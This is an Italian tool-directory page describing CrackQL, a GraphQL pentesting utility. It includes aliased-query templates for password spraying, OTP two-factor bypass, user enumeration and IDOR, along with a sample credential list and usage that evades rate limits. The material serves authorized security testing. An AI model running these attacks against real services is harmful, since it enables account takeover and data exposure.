Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CrackQL — Strumento di penetration testing GraphQL che sfrutta limiti di velocità deboli e analisi dei costi per forzare le credenziali, bypassare la 2FA, enumerare utenti e eseguire fuzzing delle operazioni tramite query alias in batch. | Kitploit
Strumenti/GitHubGitHub/nicholasaleks/crackql
Attacchi alle PasswordSfruttamento di Applicazioni WebTest di Sicurezza delle APIFuzzingPenetration Testing
GitHubnicholasaleks/crackql

CrackQL

Strumento di penetration testing GraphQL che sfrutta limiti di velocità deboli e analisi dei costi per forzare le credenziali, bypassare la 2FA, enumerare utenti e eseguire fuzzing delle operazioni tramite query alias in batch.

Vedi Repository
3493443 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CrackQL

CrackQL è un'utility per il brute-force delle password e il fuzzing di GraphQL.

CrackQL

CrackQL è uno strumento versatile per il penetration testing di GraphQL che sfrutta controlli deboli di rate-limit e analisi dei costi per eseguire brute-force delle credenziali e fuzzing delle operazioni.

Indice

  • Come funziona
  • Casi d'uso di attacco
    • Elusione delle difese
    • Password Spraying Brute-forcing
    • Bypass dell'autenticazione a due fattori OTP
    • Enumerazione degli account utente
    • Riferimento diretto a oggetti non sicuri
    • Fuzzing generale
  • Input
  • Installazione
  • Configurazioni
  • Manutentori
  • Menzioni

Come funziona?

CrackQL funziona raggruppando automaticamente una singola query o mutazione GraphQL in diverse operazioni alias. Determina il numero di alias da utilizzare in base alle variabili di input del CSV. Dopo aver generato programmaticamente il documento GraphQL raggruppato, CrackQL raggruppa e invia il/i payload all'API GraphQL di destinazione e analizza i risultati e gli errori.

Casi d'uso di attacco

CrackQL può essere utilizzato per un'ampia gamma di attacchi GraphQL poiché genera programmaticamente payload basati su un elenco di input dinamici.

Elusione delle difese

A differenza di Burp Intruder che invia una richiesta per ogni payload unico, CrackQL elude le difese tradizionali di monitoraggio del rate-limit delle API HTTP utilizzando più query alias per inserire grandi insiemi di credenziali in singole richieste HTTP. Per bypassare le difese di analisi dei costi delle query, CrackQL può essere ottimizzato utilizzando una serie di operazioni raggruppate più piccole (-b) e un ritardo temporale (-D).

Password Spraying Brute-forcing

CrackQL è perfetto per distribuzioni GraphQL che sfruttano operazioni di autenticazione GraphQL in-band (come il GraphQL Authentication Module). L'esempio di password spraying qui sotto funziona contro DVGA con il dizionario sample-inputs/users-and-passwords.csv.

sample-queries/login.graphql

root@kitploit:~
mutation {
  login(username: {{username|str}}, password: {{password|str}}) {
    accessToken
  }
}

Bypass dell'autenticazione a due fattori OTP

È possibile utilizzare CrackQL per bypassare l'autenticazione a due fattori inviando tutti i token OTP (One Time Password).

sample-queries/otp-bypass.graphql

root@kitploit:~
mutation {
  twoFactor(otp: {{otp|int}}) {
    accessToken
  }
}

Enumerazione degli account utente

CrackQL può anche essere utilizzato per attacchi di enumerazione per scoprire ID utente validi, nomi utente e indirizzi email.

sample-queries/enumeration.graphql

root@kitploit:~
query {
  signup(email: {{email|str}}, password: {{password|str}}) {
    user {
      email
    }
  }
}

Riferimento diretto a oggetti non sicuri

CrackQL potrebbe essere utilizzato per iterare su un gran numero di potenziali identificatori unici al fine di divulgare informazioni sugli oggetti.

sample-queries/idor.graphql

root@kitploit:~
query {
  profile(uuid: {{uuid|int}}) {
    name
    email
    picture
  }
}

Fuzzing generale

CrackQL può essere utilizzato per operazioni di fuzzing generale degli input, come l'invio di payload SQLi e XSS potenziali.

Input

CrackQL genera payload basati sulle variabili di input definite da un file CSV. CrackQL richiede che l'intestazione del CSV corrisponda al nome dell'input.

sample-inputs/usernames_and_passwords.csv

root@kitploit:~
username, password
admin, admin
admin, password
admin, pass
admin, pass123
admin, password123
operator, operator
operator, password
operator, pass
operator, pass123
operator, password123

Tipi di input validi

  • str
  • int
  • float

Installazione

Requisiti

  • Python3
  • Requests
  • GraphQL
  • Jinja

Clona il repository

root@kitploit:~
git clone [email protected]:nicholasaleks/CrackQL.git

Ottieni le dipendenze

pip install -r requirements.txt

Esegui CrackQL

python3 CrackQL.py -h

root@kitploit:~
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv

Options:
  -h, --help            show this help message and exit
  -t URL, --target=URL  Target url with a path to the GraphQL endpoint
  -q QUERY, --query=QUERY
                        Input query or mutation operation with variable
                        payload markers
  -i INPUT_CSV, --input-csv=INPUT_CSV
                        Path to a csv list of arguments (i.e. usernames,
                        emails, ids, passwords, otp_tokens, etc.)
  -d DELIMITER, --delimiter=DELIMITER
                        CSV input delimiter (default: ",")
  -o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
                        Output directory to store results (default:
                        ./results/[domain]_[uuid]/
  -b BATCH_SIZE, --batch-size=BATCH_SIZE
                        Number of batch operations per GraphQL document
                        request (default: 100)
  -D DELAY, --delay=DELAY
                        Time delay in seconds between batch requests (default:
                        0)
  --verbose             Prints out verbose messaging
  -v, --version         Print out the current version and exit.

Configurazione

Usa config.py per impostare cookie HTTP, header o proxy se l'endpoint richiede autenticazione.

Manutentori

  • Nick Aleks
  • Dolev Farhi

Menzioni

  • Kitploit
Scarica lo strumento